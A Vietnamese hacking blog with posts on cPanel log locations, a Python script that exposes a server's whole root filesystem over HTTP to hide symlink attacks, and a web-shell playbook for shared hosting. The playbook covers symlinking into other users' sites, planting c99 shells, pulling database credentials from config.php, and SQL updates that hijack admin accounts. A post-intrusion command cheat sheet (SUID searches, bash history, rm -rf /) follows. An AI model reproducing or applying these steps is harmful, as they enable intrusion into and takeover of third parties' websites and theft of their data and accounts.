Keyz Cenly Blog: Local

Log file của cPanel

<div dir="ltr" style="text-align: left;" trbidi="on">
Các file log của cPanel được lưu tại thư mục /usr/local/cpanel/logs/, gồm có các file chính sau: access_log: log truy cập của cPanel và WHM. error_log: log các lỗi của cPanel và WHM. login_log: log các đăng nhập cPanel và WHM. Ngoài ra cPanel còn lưu log hệ thống tại thư mục /var/log/, gòm có bandwidth: log lưu lượng băng thông sử dụng của server. chkservd.log: log hệ thống theo dõi các dịch vụ trên server. clamav: log của hệ thống quét virus clamav. cpupdate: log tác vụ nâng cấp của cPanel. exim_mainlog: log gửi/nhận thư của hệ thống mail exim. exim_rejectlog: log các kết nối bị từ chối của exim. exim_paniclog: log các lỗi của exim. maillog: log các đăng nhập và kết nối gửi/nhận thư của các dịch vụ mail (pop3/imap). xferlog: log các kết nối qua FTP. Ngoài ra, log của các tài khoản được lưu trữ trong thư mục /usr/local/cpanel/domlogs/ và log của Apache được lưu tại /usr/local/apache/logs/</div>

Log file của cPanel

Các file log của cPanel được lưu tại thư mục /usr/local/cpanel/logs/, gồm có các file chính sau: access_log : log truy cập của cPanel và WH...

Sym root bypass open port nếu server cho chạy python

<div dir="ltr" style="text-align: left;" trbidi="on">
Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa dùng lệnh python -h xem có trả về kết quả gì ko nè. <a href="http://www.blogger.com/null"></a> Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py <blockquote class="tr_bq">
#!/usr/bin/env python# Bypass for (c) 2013import SimpleHTTPServerimport SocketServerimport osport = 7777if __name__=='__main__':os.chdir('/')Handler = SimpleHTTPServer.SimpleHTTPRequestHandlerhttpd = SocketServer.TCPServer(("", port), Handler)print("Now open this server on webbrowser at port : " + str(port))print("example: http://maho.com:" + str(port))httpd.serve_forever()</blockquote>
 Sau đó chạy nó python capuchino.py rồi kiểm tra kết quả :victim:7777 Cách này có thể giấu đc kết quả thực hiện sym trên server</div>

Sym root bypass open port nếu server cho chạy python

Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa dùng lệnh python -h xem có trả về kết quả gì ko nè. Nếu có chạ...

Các Câu Lệnh Sử dụng Shell và cách khắc phục sự cố không local được

<div dir="ltr" style="text-align: left;" trbidi="on">
1 cài câu lệnh phổ biến cho ae NB, và dể hiễu 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>cat /etc/passwd : liệt kê các user có trên server </code></code></div>
</div>

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>dir /home/user/public_html/ : đi đến public_html của user </code></code></div>
</div>

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>ln -s /home/user/public_html/index.php hehe.txt : ghi file index.php vào file hehe.txt trên thư mục </code></code></div>
<div dir="ltr">
<code><code>mình đang dùng : ví dụ đang dùng <a href="http://abc.com/c99.php%C2%A0th%C3%AC%C2%A0v%C3%A0o%C2%A0http://abc.com/hehe.txt" rel="nofollow">http://abc.com/c99.php thì vào http://abc.com/hehe.txt</a> </code></code></div>
</div>

Vậy muốn ghi con shell của mình vào host người khác thì làm sao ?? 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>ln -s /home/user_của_mình/public_html/c99.php /home/user_của_victim/public_html/c99.php lựa chọn thư mục chmod 777 hay 755 mà có quyền ghi nhé </code></code></div>
</div>

_Nếu bị chmod ko cho ghi thì sao ?? 
=>Thì dir qua web nó rồi run command típ 
_Nếu wa web nó ko run đc thì sao ? 
=>thì xem web nó có forum hay cái gì đó ko mình úp shell thông qua lỗi ảnh hoặc úp wa forum 
-vậy phải làm sao để xem đc file config để vào được database ? 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>cat /home/user/public_html/forum/includes/config.php >> xem file config.php </code></code></div>
</div>

_Nếu ko xem được thì sao ??,diss các hàm và éo có symljnk ?? 
=> thì download website nó về mà ngâm cứu config 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>tar -czf hehehe.tar.gz /home/user/public_html/forum/ </code></code></div>
</div>

>> download nguyên cái forum 
ko thì download cái config nó thôi. 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>tar -czf config.tar.gz /home/user/public_html/forum/includes/config.php </code></code></div>
</div>

_Nếu lệnh zip ko được nữa thì sao ,config mã hóa thì sao 
thì xem cách mã hóa 
hiện tại có 2 cái dezend và base64_decode ,xem google thì bít 
nếu zip ko đc chắc bó tay quá >> đỗi cách khác (nói lăng nhăng quá mình bỏ wa bước này ) 
Vậy nếu có user+pass+data mà đăng nhập ko được ,đăng nhập đc mà ko zip đc thì làm sào sữa đc mà vào admin úp shell trên forum ?? 
=>Con shell mình đang dùng ko phải là root nên rất hạn chế 
1 vài lệnh cải thiện : 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>chmod a+wxr file.php -rwxrwxrwx chmod a+drw file.php -rwxrwxrwx chmod -R a+rx thumuc </code></code></div>
<div dir="ltr">
<code><code>>> giao quyen doc va vao ben trong thu muc,ke ca thu muc con </code></code></div>
</div>

chmod -R a+rw thumuc >> giao quyen doc va ghi… 
chmod -R a+rwx thumuc >> quyen root 
mkdir backup >> tạo thư mục backup 
chmod 777 backup >> chmod nó thành 777 để mình zip data.zip lên 
_Nếu ko chmod 777 được thì làm sao ? 
=> tạo con chmod.php nội dung như sau: 
Quote: 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code><?php chmod("backup", 0777); ?></code></code></div>
</div>

úp lên rồi run
<a href="http://abc.com/chmod.php" target="_blank">http://abc.com/chmod.php</a> 

sau đó úp con dumper.php lên rồi điền info vào zip ,zip xong có thể 
về localhost chỉnh sữa rồi úp lên => backup thế là mình đã quản lí 

-Cách này lằng nhằng quá ,data nó cả trăm M thì phiền ? 

vậy thì dùng con c99.php ,vào chổ nào có user mà chỉnh sữa 
ví dụ nó có bảng user bao gồm id và email ,….thì run command trên SQL của data là 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>update user set email="hehehe@yahoo.com" where id=1 </code></code></div>
</div>

nếu user admin nó có id là 1,đã thay thế = <a href="mailto:hehehe@yahoo.com">hehehe@yahoo.com</a> 
>> sau đó chơi quên mật khẩu gửi user+pass về email <a href="mailto:hehehe@yahoo.com">hehehe@yahoo.com</a> 

hoặc 
Quote: 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>update user set id ='6'where user='hehehe' </code></code></div>
</div>

>> set user hehehe lên thẳng admin (vào reg nick hehehe trước nhá) 
hoặc 
Quote: 

<div>
<div>
PHP Code:</div>
<div dir="ltr">
<code><code>update user set passwd ="e10adc3949ba59abbe56e057f20f883e" where id=1 </code></code></div>
</div>

>> e10adc3949ba59abbe56e057f20f883e = 123456 >> vào mà đăng nhập user=admin_của_nó ;pass =123456 

mấy bước làm sao thì ae kím clip xem sẽ hiễu 
>> up qua style hoặc plugin gì gì đó là đc thôi 
Chơi thôi đừng quá hoại gì!</div>

Các Câu Lệnh Sử dụng Shell và cách khắc phục sự cố không local được

1 cài câu lệnh phổ biến cho ae NB, và dể hiễu PHP Code: cat /etc/passwd : liệt kê các user có trên server PHP Code: dir /home...

Một số lệnh hữu dụng khi đã xâm nhập được vào hệ thống có shell

<div dir="ltr" style="text-align: left;" trbidi="on">
Khi xâm nhập được vào hệ thống có shell (shell gì thì tùy các bạn) và tùy vào mỗi os mà chúng ta xâm nhập mà thực thi lệnh,sau đây là một số lệnh cơ bản khi attack vào hệ thống có shell. 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHLeBP-Ggm7pZsulKu2r7-fJDbMDmLmZsXf-bYjuin_mEuxav-3hSuCzC2lfyTxQyoHsQ2KXgpjXPqmQHCAyk1z_3h5Q5Hm5eFVVlOBMoVjRgxhT-GMl1leoawk0T9ZM4o2QFzvJf1LQQT/s1600/c99.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHLeBP-Ggm7pZsulKu2r7-fJDbMDmLmZsXf-bYjuin_mEuxav-3hSuCzC2lfyTxQyoHsQ2KXgpjXPqmQHCAyk1z_3h5Q5Hm5eFVVlOBMoVjRgxhT-GMl1leoawk0T9ZM4o2QFzvJf1LQQT/s1600/c99.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/c99.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"> </a></div>

 

Đối với linux 


 
<pre>cat ./../mainfile.php - Config file.
ls -la - Lists directory's.
ifconfig {eth0 etc} - Ipconfig equiv.
ps aux - Show running proccess's.
gcc in_file -o out_file - Compile c file.
cat /etc/passwd - List's accounts.
sudo - Superuser Do run a command as root provided you have perms in /etc/sudoers.
id - Tells you what user your logged in as.
which wget curl w3m lynx - Check's to see what downloaders are present.
uname -r - Shows all release info (or) cat /etc/release.
uname -a - Shows all kernal info (or) cat /etc/issue
last -30 - Last logged 30 ip's can change to desired number.
useradd - Create new user account.
usermod - Modify user account.
w - See who is currently logged on.
locate password.txt - Locates password.txt in current dur can use *.
rm -rf / - Please be carefull with this command, i cannot stress this enough.
arp -a - Lists other machines are on the same subnet.
lsattr -va - ls file attributes on linux second extended file system
find / -type f -perm -04000 -ls - Finds suid files.
find . -type f -perm -04000 -ls - Finds suid files in current dir.
find / -type f -perm -02000 -ls - Finds all sgid files.
find / -perm -2 -ls - Finds all writable files and folders.
find . -perm -2 -ls - Finds all writable files and folders in current dir.
find / -type f -name .bash_history - Finds bash history.
netstat -an | grep -i listen - shows open ports.
cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user with no pass.
find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
cat /proc/version /proc/cpuinfo - Cpu info.
locate gcc- Finds gcc if installed.
set - Display system variables.
echo $path- Echo current path.
lsmod- Dumps kernal modules.
mount/df- Check mounted file system.
rpm -qa- Check patch level for RedHat 7.0.
dmesg- Check hardware ino.
cat /etc/syslog.conf - Log file.
uptime - Uptime check.
cat /proc/meminfo - Memory check.
find / -type f -perm -4 -print 2> /dev/null- Find readble files.
find / -type f -perm -2 -print 2> /dev/null - Find writable files.
chmod ### $folder - Chmod folder.</pre>

 Đối với window 


 
<pre>ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions
CALL Call one batch program from another
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colours of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
CSVDE Import or Export Active Directory data

DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory

ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the CMD shell
EXPAND Uncompress files
EXTRACT Uncompress CAB files

FC Compare two files
FDISK Disk Format and partition
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR Conditionally perform a command several times
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line

HELP Online Help
HFNETCHK Network Security Hotfix Checker

IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file

MAPISEND Send email from the command line
MEM Display memory usage
MD Create new folders
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)

NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Read, Set or Delete registry keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files.
REPLACE Replace or update one file with another
RD Delete folder(s)
RDISK Create a Recovery Disk
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
ScriptIt Control GUI applications
SET Display, set, or remove environment variables
SETLOCAL Begin localisation of environment changes in a batch file
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
START Start a separate window to run a specified program or command
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

TASKLIST List running applications and services
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

XCACLS Change file permissions
XCOPY Copy files and folders</pre>

Lệnh cơ bản 
Run command 
cat – lệnh này có tác dụng view file, có dạng cat <đường dẫn file> 
dir – lệnh này có tác dụng chuyển đường dẫn thực thi, có dạng dir <đường dẫn mới> 
cd – lệnh này có tác dụng chuyển đổi thư mục, có dạng cd 

Lệnh tạo symlink 
Lệnh symlink có dạng ln -s 
vd ln -s /home/mumauden/public_html/index.php mumauden.txt 
hoặc ln -s /home/mumauden/public_html/mumauden.com/ mumauden 
mkdir : tạo thư mục mới, có dạng mk 
mkdir mumauden 

Lệnh view log để biết đường dẫn tới victim cần local: 
DirectAdmin 
/var/log/httpd/domains/.error.log 
Cpanel 
/usr/local/apache/logs/error_log 

VD: victim là abc.com 
+Nếu site dùng Directadmin thì 
tail -n 10000 /var/log/httpd/domains/abc.com.error.log|grep mumauden 
+Nếu site dùng Cpanel 
tail -n 10000 /usr/local/apache/logs/error_log|grep mumauden 

Với mumauden là cụm từ ta đánh sau site>> để site hiện thị ra thông báo lỗi 
abc.com/mumauden >>cái này đánh trước rồi mới view nhé 

Bổ xung: 
Quote: 

1. Các lệnh về khởi tạo 

+rlogin : dùng để điều khiển hoặc thao tác lệnh trên một máy khác 

+exit : thoát khỏi hệ thống (Bounre-Shell) 

+logout : thoát khỏi hệ thống C-Shell 

+id : chỉ danh của người sử dụng 

+logname : tên người sử dụng login 

+man : giúp đỡ 

+newgrp : chuyển người sử dụng sang một nhóm mới 

+psswd : thay đổi password của người sử dụng 

+set : xác định các biến môi trường 

+tty : đặt các thông số terminal 

+uname : tên của hệ thống (host) 

+who : cho biết những ai đang thâm nhập hệ thống 

2. Lệnh về thư mục 

+cd : đổi thư mục 

+cp : sao chép thư mục 

+mkdir : tạo thư mục 

+rm : loại bỏ thư mục 

+pwd : trình bày thư mục hiện hành 

3. Lệnh về tập tin 

+more : trình bày nội dung tập tin 

+cp : sao chép mọt hay nhiều tập tin 

+find : tìm vị trí tập tin 

+grep : tìm vị trí của chuỗi kí tự trong tập tin 

+ls : trình bày tên và thuộc tính của các tập tin trong thư mục 

+mv : di chuyển/đổi tên một tập tin 

+wc : đếm số từ trong tập tin 

+sort : sắp xếp thứ tự nội dung một tập tin 

+cat : hiển thị nội dung một tập tin 

+vi : soạn thảo hoặc sửa đổi nội dung một tập tin

</div>

Một số lệnh hữu dụng khi đã xâm nhập được vào hệ thống có shell

Khi xâm nhập được vào hệ thống có shell (shell gì thì tùy các bạn) và tùy vào mỗi os mà chúng ta xâm nhập mà thực thi lệnh,sau đây là một...